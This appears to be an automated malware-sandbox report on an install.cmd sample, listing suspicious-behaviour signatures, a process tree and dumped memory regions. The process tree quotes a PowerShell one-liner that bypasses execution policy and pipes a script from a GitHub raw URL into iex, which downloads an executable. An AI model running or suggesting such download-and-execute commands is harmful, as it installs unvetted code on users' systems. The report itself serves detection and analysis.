Analysis
- max time kernel
149s - max time network
130s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
- submitted
07/11/2026, 16:49
General
- Target install.cmd
- Size 411B
- Sample261107-vbm8razwby
- SHA256 1103280b6327ae78d9735dfc020cfa8d4bcf11ffe8b0060f0975d11558bb5c5d
Malware Config
Signatures
- Badlisted process makes network request 4 IoCs
Network request originating from process or tool commonly abused by malware.
- Downloads MZ/PE file 1 IoCs
- Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 1 IoCs
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\install.cmd"1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ExecutionPolicy Bypass -Command "irm https://raw.githubusercontent.com/Cerulin/Chell-CLI-releases/main/install/install.ps1 | iex"2⤵
- Badlisted process makes network request
- Downloads MZ/PE file
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
chell.exe
__PSScriptPolicyTest_zuptmg43.ood.psm1
memory/4068-16-0x00007FFB01FA0000-0x00007FFB02944000-memory.dmp
memory/4068-24-0x000001B47FF80000-0x000001B47FF9E000-memory.dmp
memory/4068-6-0x00007FFB01FA0000-0x00007FFB02944000-memory.dmp
memory/4068-7-0x00007FFB01FA0000-0x00007FFB02944000-memory.dmp
memory/4068-8-0x00007FFB01FA0000-0x00007FFB02944000-memory.dmp
memory/4068-9-0x00007FFB01FA0000-0x00007FFB02944000-memory.dmp
memory/4068-10-0x00007FFB01FA0000-0x00007FFB02944000-memory.dmp
memory/4068-11-0x00007FFB01FA0000-0x00007FFB02944000-memory.dmp
memory/4068-12-0x00007FFB01FA0000-0x00007FFB02944000-memory.dmp
memory/4068-13-0x00007FFB01FA0000-0x00007FFB02944000-memory.dmp
memory/4068-14-0x00007FFB01FA0000-0x00007FFB02944000-memory.dmp
memory/4068-15-0x00007FFB01FA0000-0x00007FFB02944000-memory.dmp
memory/4068-0-0x00007FFB0212F000-0x00007FFB02130000-memory.dmp
memory/4068-17-0x000001B480030000-0x000001B4801F2000-memory.dmp
memory/4068-5-0x000001B47FA20000-0x000001B47FA42000-memory.dmp
memory/4068-2-0x00007FFB01FA0000-0x00007FFB02944000-memory.dmp
memory/4068-20-0x000001B47FAD0000-0x000001B47FAEE000-memory.dmp
memory/4068-22-0x000001B47FAF0000-0x000001B47FAFA000-memory.dmp
memory/4068-23-0x00007FFB01FA0000-0x00007FFB02944000-memory.dmp
memory/4068-21-0x000001B400100000-0x000001B4001B2000-memory.dmp
memory/4068-25-0x000001B47FF60000-0x000001B47FF6A000-memory.dmp
memory/4068-26-0x000001B47FFC0000-0x000001B47FFDC000-memory.dmp
memory/4068-28-0x000001B4005E0000-0x000001B4005E6000-memory.dmp
memory/4068-29-0x000001B47FF70000-0x000001B47FF7A000-memory.dmp
memory/4068-27-0x000001B4005D0000-0x000001B4005D8000-memory.dmp
memory/4068-30-0x000001B400AF0000-0x000001B401018000-memory.dmp
memory/4068-31-0x00007FFB01FA0000-0x00007FFB02944000-memory.dmp
memory/4068-1-0x00007FFB01FA0000-0x00007FFB02944000-memory.dmp
memory/4068-40-0x00007FFB01FA0000-0x00007FFB02944000-memory.dmp